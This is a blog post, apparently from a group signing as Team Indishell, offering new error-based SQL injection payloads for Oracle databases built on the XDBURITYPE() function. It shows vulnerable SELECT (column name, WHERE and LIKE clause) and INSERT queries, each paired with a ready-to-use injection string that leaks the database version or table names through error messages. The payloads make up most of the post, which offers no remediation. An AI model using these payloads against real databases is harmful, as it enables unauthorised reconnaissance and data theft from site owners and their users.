New payload to exploit Error-based SQL injection - Oracle database

 
Pranaam to all 🙏

I was testing new payload to exploit error-based SQL injection when backend database is Oracle or PostgreSQL (will post about them in next blogpost). 

Yeah, that was me at that moment =)) Let's have a look on it.  

XDBURITYPE(): 

We can use XDBURITYPE()  function to perform error-based SQL injection exploitation in case of Oracle database. This function is useful to exploit SQL injection when we have SQL Injection in following scenarios:

Select statement:

    👉 Column name

    👉 Where clause

    👉 Like clause

Insert Query

Select Statement - Column name : Lets start with case of column name when user supplied data is getting pass as column name to Select statement. For example, below mentioned is the vulnerable SQL query:

select User_Supplied_Data from Team_Indishell;

In this situation, we can use below mentioned payload to execute SQL query and force Database to reveal the output in Database error message:

👉 Payload to extract the database version:

XDBURITYPE((SELECT banner FROM v$version WHERE banner LIKE 'Oracle%')).getclob()

👉 Payload to extract the first table name:

XDBURITYPE((SELECT table_name FROM (SELECT ROWNUM r,table_name FROM all_tables ORDER BY table_name) WHERE r=1)).getclob()

Select Statement - Where Clause: now, let's talk about  Where clause , when user supplied data is getting pass to where clause. We have below mentioned vulnerable SQL query:

select * from Team_Indishell where is_admin='User_Supplied_Data'

In this situation, we can use below mentioned payload to execute SQL query and force Database to reveal its output in Database error message:

👉 Payload to extract the database version:

' ||XDBURITYPE((SELECT banner FROM v$version WHERE banner LIKE 'Oracle%')).getblob()--

👉 Payload to extract the first table name:

'||XDBURITYPE((SELECT table_name FROM (SELECT ROWNUM r,table_name FROM all_tables ORDER BY table_name) WHERE r=1)).getclob()--

Select Statement - Like Clause: Let's discuss the case when user supplied data is getting pass to like clause. We have below mentioned vulnerable SQL query:

select * from Team_Indishell where is_admin='yes' and handle like 'User_Supplied_Data%'

To exploit SQL injection, we need to use payload in below mentioned style:

👉 Payload to extract the first table name:

'||XDBURITYPE((SELECT table_name FROM (SELECT ROWNUM r,table_name FROM all_tables ORDER BY table_name) WHERE r=1)).getclob()--

Insert Query: Let's suppose we have below mentioned vulnerable SQL Insert query:

insert into Team_Indishell (id,handle,is_admin) values(5,'User_Supplied_Data','yes');

To exploit SQL injection, we need to use payload in below mentioned style:

👉 Payload to extract the first table name:

insert into Team_Indishell (id,handle,is_admin) values(5,''||XDBURITYPE((SELECT table_name FROM (SELECT ROWNUM r,table_name FROM all_tables ORDER BY table_name) WHERE r=1)).getblob()||'','yes');

Thank you for your time. We have reached to end of the blog post 😎 

./init 0

--==[[ Team Indishell ]]==--